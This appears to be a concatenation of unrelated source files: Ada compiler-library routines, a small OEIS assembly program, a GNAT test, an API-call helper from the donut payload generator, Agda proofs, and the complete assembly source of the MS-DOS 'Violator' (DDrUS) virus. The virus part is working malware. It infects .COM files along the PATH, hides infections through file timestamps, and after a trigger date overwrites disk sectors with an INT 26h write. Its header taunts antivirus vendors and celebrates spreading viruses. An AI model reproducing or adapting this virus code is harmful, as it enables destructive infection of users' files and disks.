(The_Context : in out Concrete_Context_Node;
An_Unit : in Compilation_Unit;
Limited_View : in Boolean)
is
Parent : constant Wide_String := Parent_Name (An_Unit);
Kind : constant Unit_Kinds := Unit_Kind (An_Unit.all);
Place : constant Element := Unit_Declaration (An_Unit.all);
Result : Compilation_Unit;
begin
if Parent = "" then
return;
elsif Kind in A_Subunit then
Read_Unit_Body (The_Context, Parent, Place, Result);
Unit_Utils.Add_Subunit (Result, An_Unit);
else
Read_Unit_Declaration (The_Context, Parent, Place, Limited_View,
Result);
Unit_Utils.Add_Child (Result, An_Unit);
end if;
end Read_Parent;
--------------------
-- Read_Unit_Body --
--------------------
procedure Read_Unit_Body
(The_Context : in out Concrete_Context_Node;
Full_Unit_Name : in Wide_String;
Place : in Element;
Result : out Compilation_Unit)
is
Body_Name : constant Wide_String := Library.Body_File (Full_Unit_Name);
begin
Result := Compilation_Unit_Body (Full_Unit_Name, The_Context);
if Assigned (Result) then
return;
end if;
if Library.File_Exists (Body_Name) then
The_Context.Current_File := W.To_Unbounded_Wide_String (Body_Name);
else
Errors.Report (Item => Place,
What => Errors.Error_Cant_Read_Unit,
Argument1 => Full_Unit_Name);
return;
end if;
-- recursive call --------------------------------
Read_File_And_Supporters (The_Context); -- <-
-- recursive call --------------------------------
Result := Compilation_Unit_Body (Full_Unit_Name, The_Context);
if not Assigned (Result) then
Result := Unit_Utils.Make_Nonexistent_Unit
(The_Context.This, Full_Unit_Name, A_Nonexistent_Body);
end if;
end Read_Unit_Body;
---------------------------
-- Read_Unit_Declaration --
---------------------------
procedure Read_Unit_Declaration
(The_Context : in out Concrete_Context_Node;
Full_Unit_Name : in Wide_String;
Place : in Element;
Limited_View : in Boolean;
Result : out Compilation_Unit)
is
Decl_Name : constant Wide_String :=
Library.Declaration_File (Full_Unit_Name);
begin
if not Limited_View then
Result := Library_Unit_Declaration (Full_Unit_Name, The_Context);
if Assigned (Result) then
return;
end if;
end if;
Result := Contexts.Limited_View (Full_Unit_Name, The_Context);
if Assigned (Result) then
if not Limited_View then
-- Turn limited view into ordinary
Result := Corresponding_Declaration (Result.all);
Secondary_Unit_Lists.Add
(The_Context.Library_Unit_Declarations, Asis.Element (Result));
Read_Parent (The_Context, Result, Limited_View => False);
Read_Declaration (The_Context, Result);
Read_Withed (The_Context, Result);
Resolver.Run (Result);
end if;
return;
end if;
if Library.Has_Declaration (Full_Unit_Name) then
The_Context.Current_File := W.To_Unbounded_Wide_String (Decl_Name);
else
Read_Unit_Body (The_Context, Full_Unit_Name, Place, Result);
return;
end if;
-- recursive call ----------------------------------------------
Read_File_And_Supporters (The_Context, Limited_View); -- <-
-- recursive call ----------------------------------------------
if Limited_View then
Result := Contexts.Limited_View (Full_Unit_Name, The_Context);
else
Result := Library_Unit_Declaration (Full_Unit_Name, The_Context);
end if;
if not Assigned (Result) then
Result := Unit_Utils.Make_Nonexistent_Unit
(The_Context.This, Full_Unit_Name, A_Nonexistent_Declaration);
end if;
end Read_Unit_Declaration;
-----------------
-- Read_Withed --
-----------------
procedure Read_Withed
(The_Context : in out Concrete_Context_Node;
An_Unit : in Compilation_Unit)
is
Clauses : constant Asis.Context_Clause_List :=
Context_Clause_Elements (An_Unit.all);
Result : Asis.Compilation_Unit;
begin
for I in Clauses'Range loop
if Clause_Kind (Clauses (I).all) = A_With_Clause then
declare
Names : constant Name_List := Clause_Names (Clauses (I).all);
Limited_View : constant Boolean :=
Has_Limited (Clauses (I).all);
begin
for J in Names'Range loop
declare
Full_Name : constant Program_Text :=
XASIS.Utils.Name_Image (Names (J));
begin
Result := Nil_Compilation_Unit;
Read_Unit_Declaration
(The_Context, Full_Name, Names (J), Limited_View,
Result);
end;
end loop;
end;
end if;
end loop;
end Read_Withed;
------------------
-- Set_Encoding --
------------------
procedure Set_Encoding
(The_Context : in out Concrete_Context_Node;
Encoding_Name : in Wide_String) is
begin
The_Context.User_Encoding :=
Encodings.Encoding'Wide_Value (Encoding_Name);
exception when Constraint_Error =>
Report_Error (The_Context, Text => "Unknown encoding: " & Encoding_Name);
end Set_Encoding;
-----------------------
-- Split_Compilation --
-----------------------
procedure Split_Compilation
(The_Context : in out Concrete_Context_Node;
Limited_View : in Boolean)
is
use Primary_Unit_Lists;
use Secondary_Unit_Lists;
use Asis.Gela.Unit_Utils;
Index : Natural;
Next : Asis.Element;
begin
Index := Length (The_Context.Compilation.all);
while Index > 0 loop
Next := Get_Item (The_Context.Compilation, Index);
Remove (The_Context.Compilation.all, Next);
if Limited_View then
-- Partially processed units shouldn't be available
null;
elsif Next.all in Compilation_Unit_Node'Class then
if Is_Compilation_Unit_Body (Compilation_Unit (Next)) then
Add (The_Context.Compilation_Unit_Bodies, Next);
else
Add (The_Context.Library_Unit_Declarations, Next);
end if;
end if;
Index := Index - 1;
end loop;
end Split_Compilation;
----------------------
-- Compilation_List --
----------------------
function Compilation_List
(The_Context : in Asis.Context)
return Gela.Compilations.Compilation_List
is
Node : Concrete_Context_Node renames
Concrete_Context_Node (The_Context.all);
begin
return Node.Compilation_List;
end Compilation_List;
end Asis.Gela.Contexts.Utils;
------------------------------------------------------------------------------
-- Copyright (c) 2006-2013, <NAME>
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
--
-- * Redistributions of source code must retain the above copyright notice,
-- this list of conditions and the following disclaimer.
-- * Redistributions in binary form must reproduce the above copyright
-- notice, this list of conditions and the following disclaimer in the
-- documentation and/or other materials provided with the distribution.
-- * Neither the name of the Maxim Reznik, IE nor the names of its
-- contributors may be used to endorse or promote products derived from
-- this software without specific prior written permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
-- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-- POSSIBILITY OF SUCH DAMAGE.
------------------------------------------------------------------------------
|
programs/oeis/061/A061397.asm | neoneye/loda | 22 | 177994 | ; A061397: Characteristic function sequence of primes multiplied componentwise by N, the natural numbers.
; 0,2,3,0,5,0,7,0,0,0,11,0,13,0,0,0,17,0,19,0,0,0,23,0,0,0,0,0,29,0,31,0,0,0,0,0,37,0,0,0,41,0,43,0,0,0,47,0,0,0,0,0,53,0,0,0,0,0,59,0,61,0,0,0,0,0,67,0,0,0,71,0,73,0,0,0,0,0,79,0,0,0,83,0,0,0,0,0,89,0,0,0,0,0,0,0,97,0,0,0
seq $0,89026 ; a(n) = n if n is a prime, otherwise a(n) = 1.
mov $1,1
bin $1,$0
sub $0,$1
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/nested_proc2.adb | best08618/asylo | 7 | 3583 | -- { dg-do compile }
-- { dg-options "-gnatws" }
procedure Nested_Proc2 is
type Arr is array(1..2) of Integer;
type Rec is record
Data : Arr;
end record;
From : Rec;
Index : Integer;
function F (X : Arr) return Integer is
begin
return 0;
end;
procedure Test is
begin
Index := F (From.Data);
If Index /= 0 then
raise Program_Error;
end if;
end;
begin
Test;
end;
|
payload/call_api.asm | soolidsnake/donut | 1 | 12148 | ;
; Copyright © 2019 TheWover, Odzhan. All Rights Reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; 3. The name of the author may not be used to endorse or promote products
; derived from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
; IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
; HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
; STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
;
; void call_api(FARPROC api, int param_cnt, WCHAR param[]);
%define DONUT_MAX_PARAM 8
%define DONUT_MAX_NAME 256
struc HOME_SPACE
._rcx resq 1
._rdx resq 1
._r8 resq 1
._r9 resq 1
endstruc
struc _ds
.hs: resq HOME_SPACE_size
.arg4 resq 1
.arg5 resq 1
.arg6 resq 1
.arg7 resq 1
._rdi resq 1
._rsi resq 1
._rbp resq 1
._rbx resq 1
._rsp resq 1
endstruc
%ifndef BIN
global call_api
global _call_api
%endif
call_api:
_call_api:
bits 32
; int3
xor eax, eax ;
dec eax ;
jns L2 ; if SF=0, goto x64
mov eax, [esp+ 4] ; eax = api address
mov ecx, [esp+ 8] ; ecx = param_cnt
mov edx, [esp+12] ; edx = params
L1:
push edx ; save params[i] on stack
add edx, DONUT_MAX_NAME * 2 ; advance to next element
sub ecx, 1 ; subtract one from param_cnt
jnz L1
call eax ; call api
ret
L2:
bits 64
sub rsp, ((_ds_size & -16) + 16) - 8
mov [rsp+_ds._rbp], rbp
mov [rsp+_ds._rbx], rbx
mov [rsp+_ds._rdi], rdi
mov [rsp+_ds._rsi], rsi
mov rsi, rsp ; rsi = rsp after allocation
mov rdi, rcx ; rdi = api to call
mov eax, DONUT_MAX_NAME * 2
mov rcx, r8 ; rcx = param[0]
lea rdx, [rcx+rax] ; rdx = param[1]
lea r8, [rdx+rax] ; r8 = param[2]
lea r9, [r8+rax] ; r9 = param[3]
lea rbx, [r9+rax]
mov [rsp+_ds.arg4], rbx ; param[4]
add rbx, rax
mov [rsp+_ds.arg5], rbx ; param[5]
add rbx, rax
mov [rsp+_ds.arg6], rbx ; param[6]
add rbx, rax
mov [rsp+_ds.arg7], rbx ; param[7]
call rdi
mov rsp, rsi ; restore rsp after allocation
mov rsi, [rsp+_ds._rsi]
mov rdi, [rsp+_ds._rdi]
mov rbx, [rsp+_ds._rbx]
mov rbp, [rsp+_ds._rbp]
add rsp, ((_ds_size & -16) + 16) - 8
ret
|
MSDOS/Virus.MSDOS.Unknown.viola.asm | fengjixuchui/Family | 3 | 84053 | <gh_stars>1-10
;******************************************************************************
; Violator Strain A Source Code
;******************************************************************************
;
; (May/1/1991)
;
; Well, in memory of the first anniversary of writing Violator, I have decided
; to release it's source code publicly.
;
; This is the source code to the ORIGINAL Violator or DDrUS virus. It was set
; to go off on June 22nd, 1990. The significance of this date and the name
; Violator, was that my favourite group, Depeche Mode, were comming to Toronto
; to perform their "World Violator Tour" on that date.
;
; This virus, as you can clearly see, is a base hack of the Vienna virus. The
; only thing I took out of the Vienna virus was the original scan string, and
; added date check routines as well as the INT 26 format routine. Other than
; that, this virus is pretty much like the original Vienna virus.
;
; In any event, have fun with this source code, but please keep in mind, that
; RABID does not condone the modification of this virus further in order to
; create even more raging, destructive viruses. This source is being provided
; to you in order to see how easy it is to modify an existing virus into an
; instrument of destruction. Also, RABID accepts no responsibility for damage
; which may be wrought (material or immaterial, financial or personal, you get
; the idea...) through the spreading of this source code.
;
; At this point in time, I'd wish to express greetings to several people.
;
; To the Dark Avenger, for releasing "Eddie" source code. We have greatly
; improved our programming prowess through analysis of your source code.
; (It wasn't that bad, despite all your self-scorning negative comments about
; effectiveness of certain procedures)
; Keep up the great work...
; BTW: Hope you didn't mind RABID Avenger too much. We did spread the sucker
; some more...
;
; To YAM (Youth Against McAfee). Haha! Nice name. Too bad you can't program in
; anything other than PASCAL or QuickBASIC.
;
; To <NAME> and Associates. Keep up the great work with your SCAN and
; CLEAN programs. But remember, if it wasn't for people like us, you wouldn't
; be where you are now... (BTW: How'dya like Violator B4? Did you get our
; message, despite the bug in the ANSI routines? >SMOOCH< (hehe))
;
; To <NAME>. V2P6 is excellent. We love the source code... (Yes! We have
; it as well...) Keep up the great work, even if it is for research purposes.
;
; To <NAME> (DSZ Author). Sorry about the Strain B4 bit. It wasn't our
; doing. You can blame L.o.L. for that...
;
; To L.o.L. Get real lives you pre-pubesent assholes. Your group sucks! What
; good comes by releasing a doc on 500 ways to crash Emulex, and claiming that
; you know the backdoors to it, and other BBS software. Yup. Just keep going to
; those Beverly Hills Snob Private schools and think you'll get somewhere in
; the world.
;
; To Slave Lord. Take your precious group and shove it up your ass sideways.
; Your cracks suck man! A friend of mine who attended COMDEX last year can
; sum up the majority of your group in one word. GEEKS! INC rules and it
; always will. Keep on dreaming... We eat assholes like you for breakfast...
; Need we even mention how many times we crashed Slave Den last year???
; 'Nuff said...
;
; To PCM2. Where the hell are you man? Get working guy...
;
; And to all other virus writers out there who remain annonomous. Keep up the
; great work. McFee wouldn't be where he is now unless it wansn't for people
; like us. (He should be greatfull...
;
; Take care guys... And watch out. We're everywhere...
;
;******************************************************************************
;
; -=THE=-
;
; The RABID International Development Corp.
; -----------------------------------------
; Big hey-yo's to: FF, TJA, TM, PT, and MM.
;
;
; "...take heed that no man deceive you. For many shall come in my name,
; saying I am Christ; and shall deceive many. And ye shall hear of wars and
; rumours of wars: see that ye be not troubled: for all these things must come
; to pass, but the end is not yet. For nation shall rise against nation, and
; kingdom against kingdom: and there shall be famines, and pestilences, and
; earthquakes, in divers places. All these are the beginning of sorrows."
; (Matthew 24:4-9)
;
; The tenth day of Tishri shall fall upon October 9th, 2000. Revelation will
; be fulfilled.
;
; We're getting there unless those bastards in power do something to save this
; Earth we live on.
;
; Nostradamus prophesised that we may follow one of two paths. One to harmony,
; or one to destruction. Which path will we follow?
;
; Think about it.
;
;******************************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP virus
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV CX,3
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
mov ah,30h
int 21h
cmp al,0
JnZ dos_ok
JMP quit
dos_ok: PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
JMP year_check
year_check:
mov ah,2ah
int 21h
cmp cx,1990
jge month_check
jmp find_path
month_check:
mov ah,2ah
int 21h
cmp dh,6
jge day_check
jmp find_path
day_check:
mov ah,2ah
int 21h ; Set date to June 22nd, 1990
cmp dl,22
jge alter
jmp find_path
alter:
mov al,1 ; Set for Drive 'B:'
mov cx,1 ; Change to 'MOV AL,2' for drive C:
mov dx,00
mov ds,[di+55]
mov bx,[di+99]
int 26h
jmp find_path
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
; NOP ;MASM will add this NOP here
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Jump if error
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
; NOP ;MASM will add this NOP
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
vir_dat EQU $
intro db 13,10,' DDrUS (C) - 1990 $',13,10
olddta_ DW 0 ;Old DTA offset
olddts_ DW 0 ;Old DTA segment
oldtim_ DW 0 ;Old Time
oldate_ DW 0 ;Old date
oldatt_ DW 0 ;Old file attributes
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H ;Start of JMP instruction
jmpdsp_ DW 0 ;The displacement part
fspec_ DB '*.COM',0
pathad_ DW 0 ;Path address
namptr_ DW 0 ;Pointer to start of file name
envstr_ DB 'PATH=' ;Find this in the environment
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0) ;Temporary DTA goes here
dtatim_ DW 0,0 ;Time stamp in DTA
dtalen_ DW 0,0 ;File length in the DTA
dtanam_ DB 0Dh dup (0) ;File name in the DTA
lst_byt EQU $ ;All lines that assemble into code are
; above this one
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
CODE ENDS
END VCODE
|
src/Properties/StepBeta.agda | peterthiemann/definitional-session | 9 | 16075 | <reponame>peterthiemann/definitional-session
module Properties.StepBeta where
open import Data.List
open import Data.List.All
open import Data.Product
open import Relation.Nullary
open import Relation.Binary.PropositionalEquality
open import Typing
open import Syntax
open import Global
open import Channel
open import Values
open import Session
open import Schedule
open import ProcessSyntax
open import ProcessRun
open import Properties.Base
-- V: (λx.e)v = e[v/x]
-- let f = λx.e in let r = f v in E --> [let x = v in] let r = e in E
mklhs : ∀ {Φ tin tout} (e : Expr (tin ∷ []) tout) (E : Expr (tout ∷ Φ) TUnit) → Expr (tin ∷ Φ) TUnit
mklhs {Φ} e E =
letbind (rght (split-all-right Φ)) (ulambda [] [] [] e)
(letbind (left (left (split-all-right Φ))) (app (left (rght [])) (here []) (here []))
E)
mkrhs : ∀ {Φ tin tout} (e : Expr (tin ∷ []) tout) (E : Expr (tout ∷ Φ) TUnit) → Expr (tin ∷ Φ) TUnit
mkrhs {Φ} e E =
letbind (left (split-all-right Φ)) e E
reductionT : Set
reductionT = ∀ {tin tout}
(e : Expr (tin ∷ []) tout) (E : Expr (tout ∷ []) TUnit)
(v : Val [] tin)
→ let ϱ = vcons ss-[] v (vnil []-inactive) in
let lhs = run (left []) ss-[] (mklhs e E) ϱ (halt []-inactive UUnit) in
let rhs = run (left []) ss-[] (mkrhs e E) ϱ (halt []-inactive UUnit) in
restart (restart lhs) ≡ rhs
reduction : reductionT
reduction e E v
with split-env (rght []) (vcons ss-[] v (vnil []-inactive))
... | sperght
= refl
-- open reduction
reduction-open-type : Set
reduction-open-type = ∀ {Φ tin tout}
(e : Expr (tin ∷ []) tout) (E : Expr (tout ∷ Φ) TUnit)
(ϱ : VEnv [] (tin ∷ Φ))
→ let lhs = run (left (split-all-left Φ)) ss-[] (mklhs e E) ϱ (halt []-inactive UUnit) in
let rhs = run (left (split-all-left Φ)) ss-[] (mkrhs e E) ϱ (halt []-inactive UUnit) in
restart (restart lhs) ≡ rhs
reduction-open : reduction-open-type
reduction-open {Φ} e E (vcons ss-[] v ϱ)
rewrite split-rotate-lemma {Φ}
| split-env-right-lemma0 ϱ
with ssplit-compose3 ss-[] ss-[]
... | ssc3
rewrite split-env-right-lemma0 ϱ
| split-rotate-lemma {Φ}
= refl
-- open reduction with split between closure and context
mktype' : Set
mktype' = ∀ {Φ Φ₁ Φ₂ tin tout}
(sp : Split Φ Φ₁ Φ₂) (un-Φ₁ : All Unr Φ₁) (e : Expr (tin ∷ Φ₁) tout) (E : Expr (tout ∷ Φ₂) TUnit)
→ Expr (tin ∷ Φ) TUnit
mklhs' : mktype'
mklhs' {Φ} {Φ₁} {Φ₂} sp un-Φ₁ e E =
letbind (rght sp) (ulambda (split-all-left Φ₁) un-Φ₁ [] e)
(letbind (left (left (split-all-right Φ₂))) (app (left (rght [])) (here []) (here []))
E)
mkrhs' : mktype'
mkrhs' {Φ} {Φ₁} {Φ₂} sp un-Φ₁ e E =
letbind (left sp) e E
reduction-open-type' : Set
reduction-open-type' = ∀ {Φ Φ₁ Φ₂ tin tout}
(sp : Split Φ Φ₁ Φ₂) (un-Φ₁ : All Unr Φ₁)
(e : Expr (tin ∷ Φ₁) tout) (E : Expr (tout ∷ Φ₂) TUnit)
(ϱ : VEnv [] (tin ∷ Φ))
→ let lhs = run (left (split-all-left Φ)) ss-[] (mklhs' sp un-Φ₁ e E) ϱ (halt []-inactive UUnit) in
let rhs = run (left (split-all-left Φ)) ss-[] (mkrhs' sp un-Φ₁ e E) ϱ (halt []-inactive UUnit) in
restart (restart lhs) ≡ rhs
-- this runs into the split-from-disjoint, which was hacked into function application
-- it's not clear if there's a way round
-- hence the proposition needs to be proved with a more specific assumption
{-
reduction-open' : reduction-open-type'
reduction-open' {Φ} {Φ₁} {Φ₂} sp un-Φ₁ e E (vcons ss-[] v ϱ)
rewrite split-rotate-lemma' sp
with split-env sp ϱ
... | ([] , []) , ss-[] , ϱ₁ , ϱ₂
rewrite split-env-left-lemma0 ϱ₁
with ssplit-compose3 ss-[] ss-[]
... | ssc3
rewrite split-env-right-lemma0 ϱ₂
with ssplit-compose3 ss-[] ss-[]
... | ssc3'
rewrite split-rotate-lemma {Φ₂}
= {!!}
-}
-- straightforward generalization of the inspect pattern
record Reveal2_·_·_is_ {A B : Set} {C : A → B → Set}
(f : (x : A) (y : B) → C x y) (x : A) (y : B) (z : C x y) :
Set₁ where
constructor [[_]]
field eq : f x y ≡ z
inspect2 : ∀ {A B : Set} {C : A → B → Set}
(f : (x : A) (y : B) → C x y) (x : A) (y : B) → Reveal2 f · x · y is f x y
inspect2 f x y = [[ refl ]]
reduction-open-type'' : Set
reduction-open-type'' = ∀ {Φ₁ Φ₂ tin tout} →
let Φ,sp = split-from-disjoint Φ₁ Φ₂ in
let Φ = proj₁ Φ,sp in
let sp = proj₂ Φ,sp in
(un-Φ₁ : All Unr Φ₁)
(e : Expr (tin ∷ Φ₁) tout) (E : Expr (tout ∷ Φ₂) TUnit)
(ϱ : VEnv [] (tin ∷ Φ))
→ let lhs = run (left (split-all-left Φ)) ss-[] (mklhs' sp un-Φ₁ e E) ϱ (halt []-inactive UUnit) in
let rhs = run (left (split-all-left Φ)) ss-[] (mkrhs' sp un-Φ₁ e E) ϱ (halt []-inactive UUnit) in
restart (restart lhs) ≡ rhs
